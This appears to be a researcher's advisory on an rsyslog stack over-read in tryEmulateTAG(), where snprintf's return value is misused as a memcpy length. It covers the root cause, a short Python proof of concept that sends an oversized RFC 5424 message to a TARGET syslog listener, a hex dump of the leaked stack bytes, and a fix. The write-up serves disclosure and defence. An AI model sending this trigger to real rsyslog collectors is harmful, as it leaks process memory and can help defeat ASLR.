Grandmaster rank emblem

Lvl 99

Level XP3,807/5,718

3807 of 5718
Grandmaster dreadnaught
Product
rsyslog
Affected
≤ 8.2602.0
Reported
Apr 2026

rsyslog's tryEmulateTAG() uses snprintf's return value as the number of bytes written. C returns the length that would have been written, not the amount that fit. An oversized RFC 5424 APP-NAME/PROCID pushes that count past the 512-byte stack buffer, and the next memcpy over-reads about 90 bytes of stack into the synthetic TAG, which rsyslog then writes to the logs. Remote, unauthenticated, read-only (CWE-126).

Root cause

The BSD-style TAG is formatted into a fixed 512-byte stack buffer, but the length carried forward is snprintf's return value, not the number of bytes it actually wrote:

// runtime/msg.c, tryEmulateTAG()  (v8.2602.0)
uchar bufTAG[CONF_TAG_MAXSIZE];              // 512

lenTAG = snprintf((char *)bufTAG, CONF_TAG_MAXSIZE,
                  "%s[%s]", getAPPNAME(pM, ...), getPROCID(pM, ...));
bufTAG[sizeof(bufTAG) - 1] = '\0';
MsgSetTAG(pM, bufTAG, lenTAG);               // lenTAG = bytes snprintf would have written

Per C99 §7.19.6.5, snprintf returns the length the output would have reached. When APP-NAME[PROCID] exceeds 511 characters the buffer holds 511 bytes, but lenTAG takes the full hypothetical length (for example 602). MsgSetTAG() then uses it as a copy length:

// runtime/msg.c, MsgSetTAG()
pMsg->iLenTAG = lenBuf;                // 602
pBuf = malloc(pMsg->iLenTAG + 1);      // malloc(603)
memcpy(pBuf, pszBuf, pMsg->iLenTAG);   // copies 602 bytes out of a 512-byte buffer

That memcpy reads about 90 bytes past the end of the 512-byte stack buffer (return addresses, saved registers, stale pointers) and stores them in the TAG property.

Trigger

Any rsyslog acting as a network collector (imtcp or imudp, the standard central-logging setup) is reachable. Send an RFC 5424 message where len(APP-NAME) + len(PROCID) + 2 > 511:

import socket

appname = "A" * 300
procid  = "P" * 300
msg = f"<14>1 2026-04-08T00:00:00Z host {appname} {procid} - - test"

s = socket.socket()
s.connect(("TARGET", 514))               # imtcp listener
p = msg.encode()
s.sendall(f"{len(p)} ".encode() + p)      # octet-counted framing
s.close()

The leaked bytes land in /var/log/syslog, and in anything rsyslog forwards onward, as the tail of the TAG field.

What leaks

After the truncated TAG, the over-read region shows up as non-printable bytes:

0000: 00 a0 01 00 00 00 00 00 00 00 ac cd 57 f1 87 e3  ............W...
0010: 31 00 03 00 00 00 00 00 00 90 0b 00 74 3c 7f 00  1...........t<..
0020: 00 a0 1b 00 80 3c 7f 00 00 a8 1d 00 80 3c 7f 00  .....<.......<..
0030: 00 a0 1b 00 80 3c 7f 00 00 dd d3 da 18 42 56 00  .....<.......BV.

The 0x00007f prefixes are live x86_64 mapping addresses, so real process memory is being disclosed.

Exploitability

The only theoretical use is seeding an ASLR bypass, and only when paired with a separate memory-corruption bug in the same process.

Fix

Cap the length to what was actually written before passing it to MsgSetTAG:

lenTAG = snprintf((char *)bufTAG, CONF_TAG_MAXSIZE, "%s[%s]", ...);
if (lenTAG >= CONF_TAG_MAXSIZE)
    lenTAG = CONF_TAG_MAXSIZE - 1;       // cap to what was actually written
bufTAG[sizeof(bufTAG) - 1] = '\0';
MsgSetTAG(pM, bufTAG, lenTAG);

More broadly, audit every snprintf whose return value is later reused as a copy length.